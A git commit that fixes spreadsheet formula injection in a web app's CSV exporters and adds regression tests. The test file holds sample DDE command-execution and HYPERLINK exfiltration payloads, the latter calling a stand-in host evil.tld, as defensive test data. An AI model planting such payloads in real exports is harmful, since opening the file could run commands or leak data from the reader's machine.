fix(web): CSV exports neutralize spreadsheet formula triggers in device-controlled cells (CWE-1236) — generateCsvExport/generateSessionCsvExport/generateRuleResultsCsvExport only doubled quotes, so an event Message, EventType, Source, DataJson, DeviceName, SerialNumber, FailureReason or rule explanation starting with =, +, -, @, tab or CR was evaluated as a formula (HYPERLINK/WEBSERVICE exfiltration, DDE) when a tenant admin opened the exported CSV or the operator opened the problem-report attachment; shared csvCell() now prefixes such cells with an apostrophe in addition to quoting, with regression tests for the DDE/HYPERLINK payloads and all three exporters

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
Oliver Kieselbach
2026-08-30 17:54:40 +02:00
parent 87cb1f1cea
commit a5bca8a730
2 changed files with 137 additions and 59 deletions
@@ -0,0 +1,68 @@
import { describe, it, expect } from "vitest";
import {
csvCell,
generateCsvExport,
generateSessionCsvExport,
generateRuleResultsCsvExport,
type SessionExportEvent,
type SessionCsvData,
} from "../sessionExportUtils";
// CWE-1236: device-originated strings must reach the spreadsheet as inert text.
describe("csvCell", () => {
it.each(["=", "+", "-", "@", "\t", "\r"])("neutralizes a leading %j", (ch) => {
expect(csvCell(`${ch}1+1`)).toBe(`"'${ch}1+1"`);
});
it("neutralizes DDE / HYPERLINK payloads", () => {
expect(csvCell("=cmd|' /C calc'!A0")).toBe(`"'=cmd|' /C calc'!A0"`);
expect(csvCell('=HYPERLINK("https://evil.tld/x?"&A1,"x")')).toBe(
`"'=HYPERLINK(""https://evil.tld/x?""&A1,""x"")"`
);
});
it("leaves ordinary values untouched apart from quoting", () => {
expect(csvCell("Hello world")).toBe('"Hello world"');
expect(csvCell('say "hi"')).toBe('"say ""hi"""');
expect(csvCell("")).toBe('""');
expect(csvCell(undefined)).toBe('""');
expect(csvCell("a=b")).toBe('"a=b"');
});
});
describe("CSV exports neutralize device-controlled fields", () => {
it("event export", () => {
const ev: SessionExportEvent = {
eventId: "e1", sessionId: "s1", tenantId: "t1", timestamp: "2026-01-01T00:00:00Z",
eventType: "=evil", severity: "Info", source: "+src", phase: 0,
message: "=1+1", sequence: 1, data: { k: "v" },
};
const row = generateCsvExport([ev]).split("\n")[1];
expect(row).toContain(`"'=evil"`);
expect(row).toContain(`"'+src"`);
expect(row).toContain(`"'=1+1"`);
expect(row).not.toMatch(/,"[=+\-@]/);
});
it("session export", () => {
const s: SessionCsvData = {
sessionId: "s1", tenantId: "t1", serialNumber: "-SN", deviceName: "@dev",
manufacturer: "=M", model: "+Mod", startedAt: "2026-01-01T00:00:00Z",
currentPhase: 0, status: "Failed", eventCount: 0, failureReason: "=cmd|' /C calc'!A0",
durationSeconds: 0, diagnosticsBlobName: "=blob",
};
const row = generateSessionCsvExport(s).split("\n")[1];
expect(row).not.toMatch(/(^|,)"[=+\-@\t\r]/);
expect(row).toContain(`"'=cmd|' /C calc'!A0"`);
});
it("rule results export", () => {
const row = generateRuleResultsCsvExport([{
resultId: "r", sessionId: "s", tenantId: "t", ruleId: "R", ruleTitle: "T",
severity: "High", category: "C", confidenceScore: 1, explanation: "=exp",
remediation: [], relatedDocs: [], matchedConditions: { x: 1 }, detectedAt: "2026-01-01T00:00:00Z",
}]).split("\n")[1];
expect(row).toContain(`"'=exp"`);
expect(row).not.toMatch(/(^|,)"[=+\-@\t\r]/);
});
});
@@ -40,10 +40,22 @@ export const SEVERITY_INT: Record<string, number> = {
Trace: -1, Debug: 0, Info: 1, Warning: 2, Error: 3, Critical: 4
};
/**
* Quote a CSV cell and make untrusted content inert for spreadsheet consumers (CWE-1236).
* Excel/LibreOffice unquote the cell and then evaluate a leading `=`, `+`, `-`, `@`
* (and tab/CR-led cells) as a formula — device-originated strings (event message,
* device name, serial, failure reason, ...) must never reach a cell in that shape.
* A leading apostrophe forces text interpretation; embedded quotes are doubled.
*/
export function csvCell(v: string | number | boolean | undefined | null): string {
const raw = String(v ?? "");
const neutralized = /^[=+\-@\t\r]/.test(raw) ? `'${raw}` : raw;
return `"${neutralized.replace(/"/g, '""')}"`;
}
export function generateCsvExport(events: SessionExportEvent[]) {
const isV1 = events.some(e => e.phase === 2);
const phaseNames = isV1 ? EXPORT_V1_PHASE_NAMES : EXPORT_V2_PHASE_NAMES;
const esc = (v: string) => `"${v.replace(/"/g, '""')}"`;
// Sort exactly as Azure Table Storage: by timestamp ascending, then sequence ascending
const sorted = [...events].sort((a, b) => {
const tCmp = (a.timestamp ?? "").localeCompare(b.timestamp ?? "");
@@ -59,21 +71,21 @@ export function generateCsvExport(events: SessionExportEvent[]) {
const sevInt = SEVERITY_INT[sev] ?? SEVERITY_INT[sev.charAt(0).toUpperCase() + sev.slice(1).toLowerCase()];
const severityCell = sevInt !== undefined ? `${sev} (${sevInt})` : sev;
return [
esc(`${e.tenantId ?? ""}_${e.sessionId ?? ""}`),
esc(e.rowKey ?? ""),
esc(e.eventId ?? ""),
esc(e.sessionId ?? ""),
esc(e.tenantId ?? ""),
esc(e.timestamp ?? ""),
esc(e.receivedAt ?? ""),
esc(e.eventType ?? ""),
esc(severityCell),
esc(e.source ?? ""),
csvCell(`${e.tenantId ?? ""}_${e.sessionId ?? ""}`),
csvCell(e.rowKey ?? ""),
csvCell(e.eventId ?? ""),
csvCell(e.sessionId ?? ""),
csvCell(e.tenantId ?? ""),
csvCell(e.timestamp ?? ""),
csvCell(e.receivedAt ?? ""),
csvCell(e.eventType ?? ""),
csvCell(severityCell),
csvCell(e.source ?? ""),
String(e.phase ?? 0),
esc(e.message ?? ""),
csvCell(e.message ?? ""),
String(e.sequence ?? 0),
esc(e.data ? JSON.stringify(e.data) : ""),
esc(phaseNames[e.phase] ?? "Unknown"),
csvCell(e.data ? JSON.stringify(e.data) : ""),
csvCell(phaseNames[e.phase] ?? "Unknown"),
].join(",");
});
return "\uFEFF" + header + "\n" + rows.join("\n");
@@ -123,52 +135,51 @@ export interface SessionCsvData {
}
export function generateSessionCsvExport(session: SessionCsvData): string {
const esc = (v: string | undefined | null) => `"${String(v ?? "").replace(/"/g, '""')}"`;
// Columns mirror the Sessions Azure Table Storage schema
// PartitionKey = TenantId, RowKey = SessionId
// Newer fields are APPENDED (never inserted) so the column prefix stays stable
// for anything parsing older exports.
const header = "PartitionKey,RowKey,SerialNumber,DeviceName,Manufacturer,Model,OsName,OsBuild,OsDisplayVersion,OsEdition,OsLanguage,IsUserDriven,IsPreProvisioned,StartedAt,CompletedAt,AgentVersion,EnrollmentType,CurrentPhase,Status,EventCount,FailureReason,LastEventAt,DurationSeconds,DiagnosticsBlobName,RebootCount,FailureSource,ReconcileReason,AdminMarkedAction,ValidatedBy,IsHybridJoin,IsSelfDeployingProfile,ConnectionType,GeoCountry,GeoRegion,GeoCity,AvgApiLatencyMs,ApiRequestCount,StalledAt,FailureSnapshotJson,IsCloudPc";
const row = [
esc(session.tenantId),
esc(session.sessionId),
esc(session.serialNumber),
esc(session.deviceName),
esc(session.manufacturer),
esc(session.model),
esc(session.osName),
esc(session.osBuild),
esc(session.osDisplayVersion),
esc(session.osEdition),
esc(session.osLanguage),
csvCell(session.tenantId),
csvCell(session.sessionId),
csvCell(session.serialNumber),
csvCell(session.deviceName),
csvCell(session.manufacturer),
csvCell(session.model),
csvCell(session.osName),
csvCell(session.osBuild),
csvCell(session.osDisplayVersion),
csvCell(session.osEdition),
csvCell(session.osLanguage),
String(session.isUserDriven ?? ""),
String(session.isPreProvisioned ?? ""),
esc(session.startedAt),
esc(session.completedAt),
esc(session.agentVersion),
esc(session.enrollmentType),
csvCell(session.startedAt),
csvCell(session.completedAt),
csvCell(session.agentVersion),
csvCell(session.enrollmentType),
String(session.currentPhase ?? ""),
esc(session.status),
csvCell(session.status),
String(session.eventCount ?? ""),
esc(session.failureReason),
esc(session.lastEventAt),
csvCell(session.failureReason),
csvCell(session.lastEventAt),
String(session.durationSeconds ?? ""),
esc(session.diagnosticsBlobName),
csvCell(session.diagnosticsBlobName),
String(session.rebootCount ?? ""),
esc(session.failureSource),
esc(session.reconcileReason),
esc(session.adminMarkedAction),
esc(session.validatedBy),
csvCell(session.failureSource),
csvCell(session.reconcileReason),
csvCell(session.adminMarkedAction),
csvCell(session.validatedBy),
String(session.isHybridJoin ?? ""),
String(session.isSelfDeployingProfile ?? ""),
esc(session.connectionType),
esc(session.geoCountry),
esc(session.geoRegion),
esc(session.geoCity),
csvCell(session.connectionType),
csvCell(session.geoCountry),
csvCell(session.geoRegion),
csvCell(session.geoCity),
String(session.avgApiLatencyMs ?? ""),
String(session.apiRequestCount ?? ""),
esc(session.stalledAt),
esc(session.failureSnapshotJson),
csvCell(session.stalledAt),
csvCell(session.failureSnapshotJson),
String(session.isCloudPc ?? ""),
].join(",");
return "\uFEFF" + header + "\n" + row;
@@ -191,26 +202,25 @@ export interface RuleResultCsvData {
}
export function generateRuleResultsCsvExport(results: RuleResultCsvData[]): string {
const esc = (v: string | undefined | null) => `"${String(v ?? "").replace(/"/g, '""')}"`;
// Columns match the RuleResults Azure Table Storage schema exactly
// PartitionKey = TenantId_SessionId, RowKey = RuleId
const header = "PartitionKey,RowKey,ResultId,SessionId,TenantId,RuleId,RuleTitle,Severity,Category,ConfidenceScore,Explanation,RemediationJson,RelatedDocsJson,MatchedConditionsJson,DetectedAt";
const rows = results.map(r => [
esc(`${r.tenantId}_${r.sessionId}`),
esc(r.ruleId),
esc(r.resultId),
esc(r.sessionId),
esc(r.tenantId),
esc(r.ruleId),
esc(r.ruleTitle),
esc(r.severity),
esc(r.category),
csvCell(`${r.tenantId}_${r.sessionId}`),
csvCell(r.ruleId),
csvCell(r.resultId),
csvCell(r.sessionId),
csvCell(r.tenantId),
csvCell(r.ruleId),
csvCell(r.ruleTitle),
csvCell(r.severity),
csvCell(r.category),
String(r.confidenceScore ?? ""),
esc(r.explanation),
esc(r.remediation ? JSON.stringify(r.remediation) : ""),
esc(r.relatedDocs ? JSON.stringify(r.relatedDocs) : ""),
esc(r.matchedConditions ? JSON.stringify(r.matchedConditions) : ""),
esc(r.detectedAt),
csvCell(r.explanation),
csvCell(r.remediation ? JSON.stringify(r.remediation) : ""),
csvCell(r.relatedDocs ? JSON.stringify(r.relatedDocs) : ""),
csvCell(r.matchedConditions ? JSON.stringify(r.matchedConditions) : ""),
csvCell(r.detectedAt),
].join(","));
return "\uFEFF" + header + "\n" + rows.join("\n");
}